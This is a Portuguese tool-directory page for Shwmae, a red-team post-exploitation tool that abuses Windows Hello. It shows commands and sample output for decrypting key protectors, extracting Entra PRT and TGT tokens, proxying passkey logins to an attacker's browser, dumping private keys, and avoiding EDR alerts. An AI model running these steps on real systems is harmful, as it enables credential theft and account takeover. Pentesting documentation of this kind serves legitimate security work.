Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Shwmae — Abusa do Windows Hello a partir de um contexto privilegiado para enumerar protetores, descriptografar chaves, extrair tokens PRT/TGT, fazer proxy de solicitações WebAuthn e despejar chaves privadas baseadas em software. | Kitploit
Ferramentas/GitHubGitHub/ccob/shwmae
Pós-ExploraçãoTestes de PenetraçãoRed Teaming
GitHubccob/shwmae

Shwmae

Abusa do Windows Hello a partir de um contexto privilegiado para enumerar protetores, descriptografar chaves, extrair tokens PRT/TGT, fazer proxy de solicitações WebAuthn e despejar chaves privadas baseadas em software.

Ver Repositório
165132há 1 anoRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Shwmae

Shwmae (shuh-my) é uma ferramenta de abuso do Windows Hello lançada durante a DEF CON 32 como parte da palestra Abusing Windows Hello Without a Severed Hand. O objetivo da ferramenta é abusar do Windows Hello a partir de um contexto de usuário privilegiado.

root@kitploit:~
Shwmae 
Copyright (C) 2024 Shwmae

  enum        (Default Verb) Enumerate Windows Hello protectors, keys and credentials

  sign        Sign data using a Windows Hello protected certificate

  prt         Obtain an Entra PRT and partial TGT usable with Rubeus

  webauthn    Create a webserver to proxy WebAuthn requests from an attacking host

  dump        Dump Windows Hello protected keys when backed by software

  help        Display more information on a specific command.

  version     Display version information.

A ferramenta oferece vários modos de operação.

Enumeração

Quando nenhum argumento é fornecido, a enumeração é o modo padrão; alternativamente, você pode usar o comando enum. O modo de enumeração enumerará todos os contêineres do Windows Hello disponíveis e enumerará recursivamente todas as chaves e protetores do Windows Hello registrados dentro do contêiner. Em casos em que não há TPM presente no host, um hash é gerado para o protetor de PIN que pode ser quebrado offline usando hashcat.

O protetor biométrico será descriptografado automaticamente, mas os protetores de PIN e de recuperação podem ser descriptografados usando os argumentos e , respectivamente. Apenas um único protetor precisa ser descriptografado de cada contêiner para permitir o abuso das chaves do Windows Hello dentro desse contêiner.

/pin
/token

Exemplo

root@kitploit:~
Shwmae

[+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b
[+] Decrypted vault policy:
  Aes128: 3cb7dbc9f920a6df0aab211b67ef673d
  Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd

GINGE\mary.gruber (S-1-5-21-1003644063-402998240-3342588708-1111)

  Provider              : Microsoft Platform Crypto Provider
  Protected Recovery Key: eyJWZXJzaW9uIjoxLCJQcm90ZWN0ZW...
  Recovery Key          : Use /token argument to decrypt recovery key

  ** Protectors **

    Type           : Pin
    Pin Type       : Numeric
    Length         : 8
    Decrypted      : Supply /pin argument to attempt decryption

    Type           : Bio
    Encryption Type: Aes
    GCM Nonce      : cacf46896844d3f96a55fd8c
    GCM AuthData   : 01000000200000000c000000b400000010000000cacf46896844d3f96a55fd8c
    GCM Tag        : f5d6d1c3e35f944038e03013851d6d69
    Decrypted      : True (Bio Key Correct)
    ExtPin         : 0f28b81e36b0446cf0deb9ca680c05aeb7b7129ab830936fce3836bbd520ee94
    DecryptPin     : c63e6e0c199cedff0a086277894f85f510305cef6d4c6ac7efc21bb122f537b1
    SignPin        : 855b2d32d62a4dafb50d47838d4ce13f8d7d6871718e384d6db22b407ecb05a3

    Type           : Recovery
    IV             : 49b2c5b8416e5563387e10a8a3d9ae68

  ** Credentials **

    Resource         : WinBio Key Resource
    SID              : S-1-5-21-1003644063-402998240-3342588708-1111
    Protector Key    : 59e87b8c63973fb3bfd322016a61e33b59a569c22f9aad22d4c91b6db75bcf52

  ** Keys **

    Name             : login.windows.net/de60a4fa-d583-4eb0-ab66-ce358af8279c/[email protected]
    Provider         : Microsoft Platform Crypto Provider
    Key Id           : {B8EF94E6-23EE-42D3-B8DB-BC0AC5EF1824}
    Key File         : 1d3ddd8ac0d04ae299673cd1ffb19b90cc2e277d.PCPKEY
    Azure Tenant Id  : de60a4fa-d583-4eb0-ab66-ce358af8279c
    Azure User       : [email protected]
    Azure kid        : l5Ov1EluHGcTl/MCwWooU71x0+sHBs78M1Ts9szdNEw=

    Name             : FIDO_AUTHENTICATOR//3aeb002460381c6f258e8395d3026f571f0d9a76488dcd837639b13aed316560_fda42d8889ba587fc7fa202a2e6d91ffad4642abb9c2bd75ea9f906be188925126bdf07d591267672cc2fa79b0750de2437b1d77d6f924af1b4992f4e3527bb0
    Provider         : Microsoft Platform Crypto Provider
    Key Id           : {36E18DBB-52AC-4198-BD34-55B3490A575C}
    Key File         : 979dffb30e1a28d7d6c6c1a5e55c383db8d04dbd.PCPKEY
    FIDO Relay Party : github.com
    FIDO Public Key  : RUNTMSAAAADkOpq228W7gXH3VTLeCwScNAyJHFmchJjCZass71QHqCyStIrQWry6m-5XK8HTAdU31UXmkuEI6fjdSmGOtWGR
    FIDO Cred Id     : qhdzMrPMlH-Fg_sdpNiKhuVpnSd__p1vDN41O3Ip3co
    FIDO User Id     : _aQtiIm6WH_H-iAqLm2R_61GQqu5wr116p-Qa-GIklEmvfB9WRJnZyzC-nmwdQ3iQ3sdd9b5JK8bSZL041J7sA
    FIDO User        : mary-gruber
    FIDO Display Name: mary-gruber
    FIDO Sign Count  : 2

    Name             : //9DDC52DB-DC02-4A8C-B892-38DEF4FA748F (Vault Key)
    Provider         : Microsoft Software Key Storage Provider
    Key Id           : {7418B315-A00B-4113-A0EC-5C51718D11C5}
    Key File         : fc65330b205c133f00d035ea9e8dfba6_2a155d6c-838c-43f5-b943-b21cc30532d7

    Name             : //CA00CFA8-EB0F-42BA-A707-A3A43CDA5BD9
    Provider         : Microsoft Software Key Storage Provider
    Key Id           : {696644C4-EA34-400C-99D2-8B5E38095AA6}
    Key File         : c4b537d879e21b5d6f797517912be27b_2a155d6c-838c-43f5-b943-b21cc30532d7

PRT

O modo de operação PRT facilita a geração de um PRT inicial e a renovação de PRTs existentes por meio do comando prt, utilizando quaisquer chaves do Windows Hello registradas no Entra. Se a confiança na nuvem estiver habilitada no locatário, o TGT da nuvem é descriptografado e pode ser usado para autenticar como o usuário no Active Directory local usando o Rubeus.

Exemplo de PRT Inicial

root@kitploit:~
Shwmae prt --sid S-1-5-21-1003644063-402998240-3342588708-1111
[+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b
[+] Decrypted vault policy:
  Aes128: 3cb7dbc9f920a6df0aab211b67ef673d
  Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd
[=] Found Azure key with UPN [email protected] and kid l5Ov1EluHGcTl/MCwWooU71x0+sHBs78M1Ts9szdNEw=
[+] Successfully decrypted NGC key set from protector type Bio
    Transport Key    : SK-4eed430d-3568-3005-69ca-6967fac4ba9c
    PRT              : 0.AS8A-qRg3oPVsE6rZs41ivgnnIc7qjhtoBdIsnV6MWmI2TsvABc.AgABAwEAAAA....xDuWvx
    PRT Session Key  : AQCeykYwMRUg0d.....uOteU9zR8tCw
    PRT Random Ctx   : 71f7b1a2f4a53a55f39254d3970727104b4d6557040e2b8f
    PRT Derived Key  : 8314d5d03cfcda825edd2f145083504ccef698beb3beff78658240e96158fee0
    Partial TGT      : doIGEjCCBg6gAwIBBaEDAgEWooIE4TC...TZaowUCAwwWuw==

Exemplo de Renovação de PRT

Para renovações de PRT, o PRT e a chave de sessão são necessários a partir da solicitação inicial do PRT.

root@kitploit:~
[+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b
[+] Decrypted vault policy:
  Aes128: 3cb7dbc9f920a6df0aab211b67ef673d
  Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd
    Transport Key    : SK-4eed430d-3568-3005-69ca-6967fac4ba9c
    PRT              : 0.AS8A-qRg3oPVsE6rZs41ivgnnIc7qjhtoBdIsnV6MWmI2TsvABc.AgABAwEAAAA....xDuWvx
    PRT Session Key  : AQCeykYwMRUg0d.....uOteU9zR8tCw
    PRT Random Ctx   : 71f7b1a2f4a53a55f39254d3970727104b4d6557040e2b8f
    PRT Derived Key  : 8314d5d03cfcda825edd2f145083504ccef698beb3beff78658240e96158fee0
    Partial TGT      : doIGEjCCBg6gAwIBBaEDAgEWooIE4TC...TZaowUCAwwWuw==

WebAuthn

O modo de operação WebAuthn configura uma API web simples por meio do comando webauthn, que aceitará solicitações de afirmação WebAuthn da extensão de navegador ShwmaeExt a partir de outro host.

Depois que o listener HTTP WebAuthn estiver configurado em um host comprometido, que por padrão escuta na porta 8000, você pode instalar a ShwmaeExt em um navegador atacante. Depois de definir a URL do listener dentro da extensão, você pode fazer login via autenticação Passkey usando quaisquer credenciais disponíveis no host comprometido. Você pode encontrar a extensão descompactada dentro da pasta ShwmaeExt.

Exemplo

root@kitploit:~
[+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b
[+] Decrypted vault policy:
  Aes128: 3cb7dbc9f920a6df0aab211b67ef673d
  Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd
[=] WebAuthn proxy running, press enter to exit

Dump

O comando dump pode ser usado para extrair chaves privadas protegidas pelo Windows Hello que são respaldadas pelo provedor Software Key Storage. Você não pode usar esse modo para extrair chaves respaldadas pelo Platform Key Storage Provider.

Exemplo

root@kitploit:~
Shwmae.exe dump --key-name login.windows.net/de60a4fa-d583-4eb0-ab66-ce358af8279c/[email protected]

Sign

O comando sign pode ser usado para assinar dados arbitrários com uma chave específica. Esse modo pode ser útil em cenários onde não existe integração específica dentro da ferramenta.

O argumento --key-name é usado para selecionar o par de chaves específico do Windows Hello a ser utilizado, e o argumento --data é usado para calcular a assinatura. Os dados devem ser fornecidos como uma string codificada em Base64, mas a string é primeiro decodificada para binário antes de gerar a assinatura. A assinatura binária é convertida para Base64 e impressa no console.

Exemplo

root@kitploit:~
Shwmae.exe sign --key-name login.windows.net/de60a4fa-d583-4eb0-ab66-ce358af8279c/[email protected] --data AAAAAA
[+] Decrypted SYSTEM vault policy 4bf4c442-9b8a-41a0-b380-dd4a704ddb28 key: 2f662c4708167c02732ae89cd4681557be8c4059b3eab1716bbf20ac5fd000fdd0c5038ce2fc4c89fd6627f45b8e613611e8282d8f38c08e828c023f6b8f060b
[+] Decrypted vault policy:
  Aes128: 3cb7dbc9f920a6df0aab211b67ef673d
  Aes256: 43642515f325f55c332d14e0295d3ad43dfdb05324fadb7bea687f1a9e0e6ecd
[=] Found key in container 1f75e567-63ab-4f90-b1f6-cfc30b399085 for user GINGE\mary.gruber (S-1-5-21-1003644063-402998240-3342588708-1111)
[+] Successfully decrypted NGC key set from protector type Bio
[+] Success:
MogfSZKrtYs9kfy0jPrVODpu4/eJfXHvGu+TQJzf9JG9JMug2+rmG7zEBuzUunMVy7jyHSBwv1eQ78yQr/G5y0VfoeKYnW5UbKuO9ZnImTuIFem4RE7RhQ84Pm4BgEQ3W16ebcf5CIHnIOZpOec6nbh7WZBIi2AG8N5fWK9itWA1Uk7j1TAFO7gCfAbrE9O6KiMLe4AAdw2vjR5s9RVqw1MdacWKOBDwGVm+VmHY6kYXSCovyWJ+ESoi75fRfRSgyPcHViNOP77pnUDOeMfl9nsE6C0UEKSCvJ+GGJy3u5uiK5fC1w73TG8s/Y2O6YSJpjnXqC5ZJhrE/vLtJNtGWg==

DPAPI

Alguns EDRs alertarão quando as chaves DPAPI forem extraídas por meio da leitura de segredos do LSA. Se você obteve as chaves DPAPI da conta SYSTEM por outros meios, elas podem ser inseridas por meio dos argumentos --system-dpapi e --machine-dpapi, respectivamente, usando uma string hexadecimal que representa uma chave de 16 bytes (32 caracteres).

Baixar ferramenta